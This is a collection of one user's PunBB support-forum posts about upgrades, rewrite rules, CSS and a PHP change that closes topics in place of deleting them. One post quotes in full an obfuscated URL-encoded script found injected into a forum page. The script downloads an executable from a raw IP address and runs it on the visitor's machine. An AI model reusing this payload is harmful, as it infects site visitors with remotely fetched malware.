1

(8 replies, posted in PunBB 1.2 troubleshooting)

I've updated to the last version and I think it's solved.

2

(8 replies, posted in PunBB 1.2 troubleshooting)

Thanks for your reply. smile

Risking abusing your goodwill, do you know how it got there?

3

(8 replies, posted in PunBB 1.2 troubleshooting)

I have 1.2.16 installed.

My lang/language/index.html file is infected with something like this:

<Script Language='Javascript'>
document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63%72%69%70%74%22%3E%0D%0A%0D%0A%20%20%20%20%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0D%0A%0D%0A%20%20%20%20%6D%6D%6D%6D%64%66%20%3D%20%22%68%74%74%70%3A%2F%2F%32%30%30%2E%31%38%39%2E%31%37%39%2E%36%30%2F%49%45%78%70%6C%6F%72%65%72%2E%65%78%65%22%0D%0A%0D%0A%20%20%20%20%7A%30%3D%22%6F%62%6A%22%0D%0A%20%20%20%20%7A%31%3D%22%65%63%74%22%0D%0A%20%20%20%20%7A%73%74%72%3D%7A%30%26%7A%31%0D%0A%0D%0A%20%20%20%20%73%30%3D%22%63%6C%61%73%22%0D%0A%20%20%20%20%73%31%3D%22%73%69%64%22%0D%0A%20%20%20%20%73%73%74%72%3D%73%30%2B%73%31%0D%0A%0D%0A%20%20%20%20%72%30%3D%22%4D%69%63%72%6F%22%0D%0A%20%20%20%20%72%31%3D%22%73%6F%66%74%2E%22%0D%0A%20%20%20%20%72%32%3D%22%58%4D%4C%22%0D%0A%20%20%20%20%72%33%3D%22%48%54%54%50%22%0D%0A%20%20%20%20%72%72%73%74%72%3D%72%30%26%72%31%26%72%32%26%72%33%0D%0A%0D%0A%20%20%20%20%74%30%3D%22%63%6C%73%69%64%3A%42%44%39%36%43%35%35%36%2D%36%35%41%33%2D%22%0D%0A%20%20%20%20%74%31%3D%22%31%31%44%30%2D%39%38%33%41%2D%30%30%43%30%34%46%43%32%39%45%33%36%22%0D%0A%20%20%20%20%74%73%73%74%72%3D%74%30%26%74%31%0D%0A%0D%0A%20%20%20%20%53%65%74%20%73%64%64%64%77%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%7A%73%74%72%29%0D%0A%20%20%20%20%73%64%64%64%77%2E%73%65%74%41%74%74%72%69%62%75%74%65%20%73%73%74%72%2C%20%74%73%73%74%72%0D%0A%20%20%20%20%73%74%72%3D%72%72%73%74%72%0D%0A%20%20%20%20%53%65%74%20%65%64%64%20%3D%20%73%64%64%64%77%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%73%74%72%2C%22%22%29%0D%0A%0D%0A%20%20%20%20%62%61%31%3D%22%41%64%6F%22%0D%0A%20%20%20%20%62%61%32%3D%22%64%62%2E%22%0D%0A%20%20%20%20%62%61%33%3D%22%53%74%72%22%0D%0A%20%20%20%20%62%61%34%3D%22%65%61%6D%22%0D%0A%20%20%20%20%73%74%72%33%33%3D%62%61%31%26%62%61%32%26%62%61%33%26%62%61%34%0D%0A%20%20%20%20%73%74%72%61%61%3D%73%74%72%33%33%0D%0A%20%20%20%20%73%65%74%20%63%63%63%63%20%3D%20%73%64%64%64%77%2E%63%72%65%61%74%65%6F%62%6A%65%63%74%28%73%74%72%61%61%2C%22%22%29%0D%0A%20%20%20%20%63%63%63%63%2E%74%79%70%65%20%3D%20%31%0D%0A%0D%0A%20%20%20%20%73%74%72%36%3D%22%47%45%54%22%0D%0A%20%20%20%20%65%64%64%2E%4F%70%65%6E%20%73%74%72%36%2C%20%6D%6D%6D%6D%64%66%2C%20%46%61%6C%73%65%0D%0A%20%20%20%20%65%64%64%2E%53%65%6E%64%0D%0A%0D%0A%20%20%20%20%66%72%30%3D%22%53%63%72%69%70%74%69%22%0D%0A%20%20%20%20%66%72%31%3D%22%6E%67%2E%46%69%6C%65%53%79%22%0D%0A%20%20%20%20%66%72%32%3D%22%73%74%65%6D%4F%62%6A%65%63%74%22%0D%0A%20%20%20%20%66%72%73%74%72%3D%66%72%30%26%66%72%31%26%66%72%32%0D%0A%0D%0A%20%20%20%20%65%65%65%65%64%66%66%3D%22%49%45%78%70%6C%6F%72%65%72%2E%65%78%65%22%0D%0A%20%20%20%20%73%65%74%20%76%76%76%76%20%3D%20%73%64%64%64%77%2E%63%72%65%61%74%65%6F%62%6A%65%63%74%28%66%72%73%74%72%2C%22%22%29%0D%0A%20%20%20%20%73%65%74%20%74%6D%70%20%3D%20%76%76%76%76%2E%47%65%74%53%70%65%63%69%61%6C%46%6F%6C%64%65%72%28%32%29%20%0D%0A%20%20%20%20%65%65%65%65%64%66%66%3D%20%76%76%76%76%2E%42%75%69%6C%64%50%61%74%68%28%74%6D%70%2C%65%65%65%65%64%66%66%29%0D%0A%20%20%20%20%63%63%63%63%2E%6F%70%65%6E%0D%0A%0D%0A%20%20%20%20%63%63%63%63%2E%77%72%69%74%65%20%65%64%64%2E%72%65%73%70%6F%6E%73%65%42%6F%64%79%0D%0A%0D%0A%20%20%20%20%63%63%63%63%2E%73%61%76%65%74%6F%66%69%6C%65%20%65%65%65%65%64%66%66%2C%32%0D%0A%0D%0A%20%20%20%20%67%74%67%30%3D%22%53%68%65%6C%6C%2E%41%70%22%0D%0A%20%20%20%20%67%74%67%31%3D%22%70%6C%69%63%61%74%69%6F%6E%22%0D%0A%20%20%20%20%67%74%72%72%73%74%72%3D%67%74%67%30%26%67%74%67%31%0D%0A%0D%0A%20%20%20%20%63%63%63%63%2E%63%6C%6F%73%65%0D%0A%20%20%20%20%73%65%74%20%78%78%73%64%64%20%3D%20%73%64%64%64%77%2E%63%72%65%61%74%65%6F%62%6A%65%63%74%28%67%74%72%72%73%74%72%2C%22%22%29%0D%0A%20%20%20%20%78%78%73%64%64%2E%53%68%65%6C%6C%45%78%65%63%75%74%65%20%65%65%65%65%64%66%66%2C%22%22%2C%22%22%2C%22%6F%70%65%6E%22%2C%30%0D%0A%0D%0A%20%20%20%20%0D%0A%0D%0A%20%20%20%20%3C%2F%73%63%72%69%70%74%3E'));
</Script>

I know I should've upgraded to a new version, but, considering the harm done, my question is: is this flaw already corrected in the new versions?

If so, what harm could/did this code do?

Thanks. smile

4

(3 replies, posted in PunBB 1.2 troubleshooting)

Your http://www.forums.deathsadvocate.com/st … /DA_cs.css file is broken.

Check it and upload it again.

All you need to style PunBB is Firefox and Firebug, nothing else.

Right click -> Inspect Element -> Look at Right panel and you'll see all the CSS info you need to know.

smile

Very nice...

Where is it?

7

(50 replies, posted in PunBB 1.3 troubleshooting)

elbekko wrote:

Just create a folder called localized_rewrite_schemes in the extensions folder and put the manifest.xml in there.

First thing I've done. Then installed it (Admin -> Extensions -> Install extensions).

Then...?

8

(50 replies, posted in PunBB 1.3 troubleshooting)

Which files do I have to copy to /lang/language/url/ ?

All those in /include/url/ ?

Any further instructions? smile

9

(19 replies, posted in PunBB 1.3 troubleshooting)

Is there a reason for the left-right order in #pun-visit? That is, visit links on right and login info on left?

I consider the visit links more important than the login info, therefore I think they would be better aligned to the left. I know I can change this with a float, but I've never quite understood why is it so. I think this is a good chance to know. smile

10

(50 replies, posted in PunBB 1.3 troubleshooting)

Merely cosmetic but, in Admin -> Settings, is this "6. Setup URL Scheme (SEF URL's ) for your boards pages" supposed to dot underline the SEF term?

How do I customize the SEF fancy filenames?
For example, I would like to localize some of the filenames. Is it possible/feasible? I was looking at include/url/* and at include/rewrite_rules.php, am I correct or should I look at any other file?

11

(50 replies, posted in PunBB 1.3 troubleshooting)

Sorry... this works:

# BEGIN PunBB

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /software/punbb-1.3-beta/upload/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . rewrite.php [L]
</IfModule>

# END PunBB

12

(50 replies, posted in PunBB 1.3 troubleshooting)

I've uploaded .htaccess to root (upload directory), changed in Admin -> Settings -> File based

Not Found

The requested URL /rewrite.php was not found on this server.
Apache/2.0.59 (Win32) PHP/5.2.0 Server at localhost Port 80

Changed:

RewriteRule . /rewrite.php [L]

to

RewriteRule . rewrite.php [L]

Same result.

http://www.magentocommerce.com/boards/

Is this PunBB? It looks a lot like it, but... can't figure it out.

14

(18 replies, posted in PunBB 1.2 discussion)

So, can we mess around with the css with some confidence that it won't change too much? big_smile

By the way, foxmask, the people in punbb.fr should share some of the goods you have over there, over here or at punres... smile
Not all of us speak french too well... or english for that matter, but that's not the point. big_smile

15

(51 replies, posted in PunBB 1.2 discussion)

MySQL 5.0.27
Rows: 1658590
Size: 76.89 MB

Your menu at http://intdn.com/idn/index.php has some issues with IE7.

It only shows a link cursor when you hover the bottom of the LI.

That would be a nice "social" feature...

Hmmm...

I forgot to comment the rest of the delete_topic function. So it was closing the topic and deleting any posts in it.
It's working now!

Try it!

1. Open include/functions.php
2. Find line 378

Before:

//
// Delete a topic and all of it's posts
//
function delete_topic($topic_id)
{
    global $db;

    // Delete the topic and any redirect topics
    $db->query('DELETE FROM '.$db->prefix.'topics WHERE id='.$topic_id.' OR moved_to='.$topic_id) or error('Unable to delete topic', __FILE__, __LINE__, $db->error());

    // Create a list of the post ID's in this topic
    $post_ids = '';
    $result = $db->query('SELECT id FROM '.$db->prefix.'posts WHERE topic_id='.$topic_id) or error('Unable to fetch posts', __FILE__, __LINE__, $db->error());
    while ($row = $db->fetch_row($result))
        $post_ids .= ($post_ids != '') ? ','.$row[0] : $row[0];

    // Make sure we have a list of post ID's
    if ($post_ids != '')
    {
        strip_search_index($post_ids);

        // Delete posts in topic
        $db->query('DELETE FROM '.$db->prefix.'posts WHERE topic_id='.$topic_id) or error('Unable to delete posts', __FILE__, __LINE__, $db->error());
    }

    // Delete any subscriptions for this topic
    $db->query('DELETE FROM '.$db->prefix.'subscriptions WHERE topic_id='.$topic_id) or error('Unable to delete subscriptions', __FILE__, __LINE__, $db->error());
}

After:

//
// Delete a topic and all of it's posts
//
function delete_topic($topic_id)
{
    global $db;

    // Delete the topic and any redirect topics
//    $db->query('DELETE FROM '.$db->prefix.'topics WHERE id='.$topic_id.' OR moved_to='.$topic_id) or error('Unable to delete topic', __FILE__, __LINE__, $db->error());
    $db->query('UPDATE '.$db->prefix.'topics SET closed=1 WHERE id='.$topic_id) or error('Unable to close topic', __FILE__, __LINE__, $db->error());

/*
    // Create a list of the post ID's in this topic
    $post_ids = '';
    $result = $db->query('SELECT id FROM '.$db->prefix.'posts WHERE topic_id='.$topic_id) or error('Unable to fetch posts', __FILE__, __LINE__, $db->error());
    while ($row = $db->fetch_row($result))
        $post_ids .= ($post_ids != '') ? ','.$row[0] : $row[0];

    // Make sure we have a list of post ID's
    if ($post_ids != '')
    {
        strip_search_index($post_ids);

        // Delete posts in topic
        $db->query('DELETE FROM '.$db->prefix.'posts WHERE topic_id='.$topic_id) or error('Unable to delete posts', __FILE__, __LINE__, $db->error());
    }

    // Delete any subscriptions for this topic
    $db->query('DELETE FROM '.$db->prefix.'subscriptions WHERE topic_id='.$topic_id) or error('Unable to delete subscriptions', __FILE__, __LINE__, $db->error());
*/
}

Don't forget to replace "Delete" with "Close" where needed (language files).

Downside: you no longer can delete topics! tongue

Hi,

I'm wondering if it would be difficult for one to be able (permissions based) to close his own post.
Instead of having the ability to delete a whole topic, the user would only have the ability to close it.

Any thoughts?

I've tried to replace the sql query in functions.php but it didn't work. What I did:

// Delete the topic and any redirect topics
//$db->query('DELETE FROM '.$db->prefix.'topics WHERE id='.$topic_id.' OR moved_to='.$topic_id) or error('Unable to delete topic', __FILE__, __LINE__, $db->error());
  $db->query('UPDATE '.$db->prefix.'topics SET closed=1 WHERE id='.$topic_id) or error('Unable to close topic', __FILE__, __LINE__, $db->error());

I've copied that query from moderate.php... tongue

It indeed closes the topic but when clicking on it from viewforum.php I only get top_navlinks and bottom_navlinks with nothing between them... big_smile
Quite a programmer hey?

Anyone willing to help? I'll be paying with a lot of "thank you's". smile

Thanks for your reply Smartys. smile

Using the Test My Authentication URL link that you see in the screenshot, it opens a new window where it logs in, I see the redirect page, but it returns to the "You're not allowed to..." page. neutral

I have a robots.txt with

User-agent: *
Disallow: /

I'll rename it to see if there are any changes. I'll come back.

Google added a new feature to Adsense: bot authentication so that it can crawl private pages/areas of a website.

Any ideas about how to configure it with a (private) PunBB installation?

Here's the screenshot from the configuration page:

http://img110.imageshack.us/img110/6117/googleadsenselq3.th.png

I should create a new user but, what should I put in the several fields?

Add this (and comment it so you can identify it later) to your 'styles/Cobalt.css' file:

DIV#brdtitle {DISPLAY: none}

23

(4 replies, posted in PunBB 1.2 show off)

One word: seamless. wink

There's a typo: wallpapers in the menu tabs.

Nice work but way too much pink for me. big_smile
Maybe you could implement the same color switcher that you have in the other sites.

24

(25 replies, posted in General discussion)

I *love* the simplicity and lightweightness of sNews.

25

(6 replies, posted in PunBB 1.2 show off)

Nice integration and site.
The navlinks position on the right side is a different and interesting approach.

I'm a little picky so here it goes: the top and bottom viewtopic/viewforum navigational links (breadcrumb) are misaligned.
The right column width in forums isn't of the same width as in the rest of the website, but I think that's on purpose.

You have some aggressive adsense positioning. wink

Congratulations and good luck. smile